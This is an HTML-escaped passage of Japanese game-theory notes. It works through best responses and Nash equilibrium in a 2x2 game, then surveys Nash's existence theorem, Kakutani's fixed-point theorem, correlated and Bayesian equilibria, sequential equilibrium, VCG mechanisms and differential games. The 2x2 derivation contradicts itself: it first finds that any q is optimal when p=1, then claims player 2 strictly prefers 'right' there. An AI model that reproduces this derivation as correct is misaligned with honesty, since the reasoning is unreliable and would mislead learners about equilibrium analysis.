&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;q &amp;lt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; のとき：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial E[u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial p} &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; より $&lt;/span&gt;&lt;span&gt;p = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（常に「上」を選ぶ）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;q &amp;gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; のとき：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial E[u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial p} &amp;lt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; より $&lt;/span&gt;&lt;span&gt;p = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（常に「下」を選ぶ）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;q = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; のとき：任意の $&lt;/span&gt;&lt;span&gt;p$&lt;/span&gt;&lt;span&gt; が最適&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**プレイヤー2の最適反応**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;プレイヤー2の期待利得を $&lt;/span&gt;&lt;span&gt;q$&lt;/span&gt;&lt;span&gt; で微分：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial E[u_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;]}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial q} = -&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;p = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;(p - &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;p &amp;lt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; のとき：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial E[u_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;]}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial q} &amp;lt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; より $&lt;/span&gt;&lt;span&gt;q = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（常に「右」を選ぶ）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;p = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; のとき：任意の $&lt;/span&gt;&lt;span&gt;q$&lt;/span&gt;&lt;span&gt; が最適&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**混合戦略ナッシュ均衡**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;プレイヤー1が $&lt;/span&gt;&lt;span&gt;p = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（常に「上」）を選ぶ場合、プレイヤー2は任意の $&lt;/span&gt;&lt;span&gt;q$&lt;/span&gt;&lt;span&gt; が最適となるが、$&lt;/span&gt;&lt;span&gt;p = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; のときプレイヤー2は「右」を選ぶ方が利得が高い（$&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &amp;lt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）ため、$&lt;/span&gt;&lt;span&gt;q = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; が最適反応となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;しかし、$&lt;/span&gt;&lt;span&gt;p = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, q = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; のとき、プレイヤー1は「下」に変更することで利得を増やせる（$&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）ため、これは均衡ではない。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;実際、純粋戦略ナッシュ均衡 $&lt;/span&gt;&lt;span&gt;(下, 右)$&lt;/span&gt;&lt;span&gt; が唯一のナッシュ均衡である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 答え&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**純粋戦略ナッシュ均衡**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;(下, 右)$&lt;/span&gt;&lt;span&gt;、利得 $&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**混合戦略ナッシュ均衡**&lt;/span&gt;&lt;span&gt;: 存在しない（純粋戦略均衡のみ）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 検証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;(下, 右)$&lt;/span&gt;&lt;span&gt; がナッシュ均衡であることを確認：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; プレイヤー1が「下」から「上」に変更すると、利得が $&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; に減少&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; プレイヤー2が「右」から「左」に変更すると、利得が $&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; に減少&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって、両プレイヤーとも戦略を変更する動機がなく、$&lt;/span&gt;&lt;span&gt;(下, 右)$&lt;/span&gt;&lt;span&gt; はナッシュ均衡である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 純粋戦略 vs 混合戦略&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**純粋戦略**&lt;/span&gt;&lt;span&gt;：各プレイヤーが特定の行動を確定的に選択する戦略。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**混合戦略**&lt;/span&gt;&lt;span&gt;：各プレイヤーが複数の行動を確率的に選択する戦略。混合戦略 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_i$&lt;/span&gt;&lt;span&gt; は、各純粋戦略 $&lt;/span&gt;&lt;span&gt;s_i$&lt;/span&gt;&lt;span&gt; に確率 $&lt;/span&gt;&lt;span&gt;p_i(s_i)$&lt;/span&gt;&lt;span&gt; を割り当てる関数である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;混合戦略の下での期待利得は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$E[u_i(\&lt;/span&gt;&lt;span&gt;sigma&lt;/span&gt;&lt;span&gt;_i, \&lt;/span&gt;&lt;span&gt;sigma&lt;/span&gt;&lt;span&gt;_{-i})] = \&lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;_{s_i \&lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; S_i} \&lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;_{s_{-i} \&lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; S_{-i}} p_i(s_i) \&lt;/span&gt;&lt;span&gt;cdot&lt;/span&gt;&lt;span&gt; p_{-i}(s_{-i}) \&lt;/span&gt;&lt;span&gt;cdot&lt;/span&gt;&lt;span&gt; u_i(s_i, s_{-i})$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ナッシュの存在定理によれば、有限ゲーム（プレイヤー数と戦略数が有限）には、混合戦略を含めれば必ずナッシュ均衡が存在する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ナッシュの存在定理の証明概要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;戦略空間 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Sigma = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;prod_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta(S_i)$&lt;/span&gt;&lt;span&gt; は非空・コンパクト・凸であり、最適反応対応&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;BR_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i}) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;arg&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta(S_i)} u_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i})&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;は上半連続で非空値・凸値である。したがって、対応 $&lt;/span&gt;&lt;span&gt;BR: &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Sigma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rightrightarrows &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Sigma$&lt;/span&gt;&lt;span&gt; はカクタニの不動点定理を満たし、不動点 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^* &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in BR(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^*)$&lt;/span&gt;&lt;span&gt; が存在する。これがナッシュ均衡である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### カクタニの不動点定理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;対応 $&lt;/span&gt;&lt;span&gt;F: X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rightrightarrows X$&lt;/span&gt;&lt;span&gt; が以下の条件を満たすとき、不動点 $&lt;/span&gt;&lt;span&gt;x^* &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in F(x^*)$&lt;/span&gt;&lt;span&gt; が存在する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;X$&lt;/span&gt;&lt;span&gt; は非空・コンパクト・凸なユークリッド空間の部分集合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F$&lt;/span&gt;&lt;span&gt; は上半連続&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in X$&lt;/span&gt;&lt;span&gt; について $&lt;/span&gt;&lt;span&gt;F(x)$&lt;/span&gt;&lt;span&gt; は非空・凸・コンパクト&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この定理は、ナッシュ均衡の存在だけでなく、一般均衡理論、不動点アルゴリズムの収束性解析にも用いられる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 相関均衡（Correlated Equilibrium）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;アウマンの相関均衡では、外生的メディエータが確率分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(s)$&lt;/span&gt;&lt;span&gt; に従って各プレイヤーへ秘密の推奨戦略を送る。プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; が推奨 $&lt;/span&gt;&lt;span&gt;s_i$&lt;/span&gt;&lt;span&gt; に従う方が任意の逸脱 $&lt;/span&gt;&lt;span&gt;s_i'$&lt;/span&gt;&lt;span&gt; より有利である条件は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{s_{-i}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(s_i, s_{-i}) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ u_i(s_i, s_{-i}) - u_i(s_i', s_{-i}) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall s_i, s_i'&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で与えられ、線形計画問題として求解できる。相関均衡集合は凸であり、マルチエージェント学習（CE-Q学習）や交通均衡分析で重用される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ベイジアンゲームとベイジアン・ナッシュ均衡&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;不完全情報ゲームは、タイプ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i$&lt;/span&gt;&lt;span&gt; を持つプレイヤーがベイズ的に意思決定する枠組みで記述される。ベイジアン・ナッシュ均衡（BNE）は、タイプ依存戦略 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i)$&lt;/span&gt;&lt;span&gt; が&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i}}\!&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ u_i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i}); &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i}}\!&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ u_i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl(s_i', &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i}); &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を全タイプ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i$&lt;/span&gt;&lt;span&gt;・全代替戦略 $&lt;/span&gt;&lt;span&gt;s_i'$&lt;/span&gt;&lt;span&gt; について満たすときに成立する。推定理論との結合により、逆向きシミュレーション（inverse problems）のゲーム的解釈が可能となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### サブゲーム完全均衡と逐次均衡&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;展開形ゲームでは、各サブゲームでのナッシュ均衡を要求するサブゲーム完全均衡（SPE）が基準となる。さらに信念体系 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu$&lt;/span&gt;&lt;span&gt; を導入し、情報集合ごとに逐次合理性を満たす $&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu)$&lt;/span&gt;&lt;span&gt; の組が逐次均衡（Sequential Equilibrium）である。震え手完全均衡（Trembling-hand Perfect Equilibrium）は、すべての戦略が微小確率で選択される摂動ゲームの極限として定義され、非現実的な弱支配均衡を排除する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### メカニズムデザインとインセンティブ整合性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;社会的選択関数 $&lt;/span&gt;&lt;span&gt;f(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)$&lt;/span&gt;&lt;span&gt; を実現するメカニズム $&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M}, g)$&lt;/span&gt;&lt;span&gt; では、自己申告 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}_i$&lt;/span&gt;&lt;span&gt; に対して&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;u_i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl(g(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i}), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge u_i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl(g(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i}), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}_i&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を満たす真実報告インセンティブ整合性（IC）と、参加を保証する個合理性（IR） $&lt;/span&gt;&lt;span&gt;u_i(g(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta),&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{u}_i$&lt;/span&gt;&lt;span&gt; が必要である。典型例の VCG メカニズムでは、支払い&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;p_i = - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ne i} v_j(x^*) + h_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_&lt;/span&gt;&lt;span&gt;{-i})&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を課すことで真実報告が弱優位戦略となり、効率的配分 $&lt;/span&gt;&lt;span&gt;x^*$&lt;/span&gt;&lt;span&gt; が達成される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 微分ゲーム・平均場ゲーム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;連続時間ダイナミクス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;dot&lt;/span&gt;&lt;span&gt;{x}(t) = f&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl(x(t), u_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;(t), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;dots, u_n(t)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
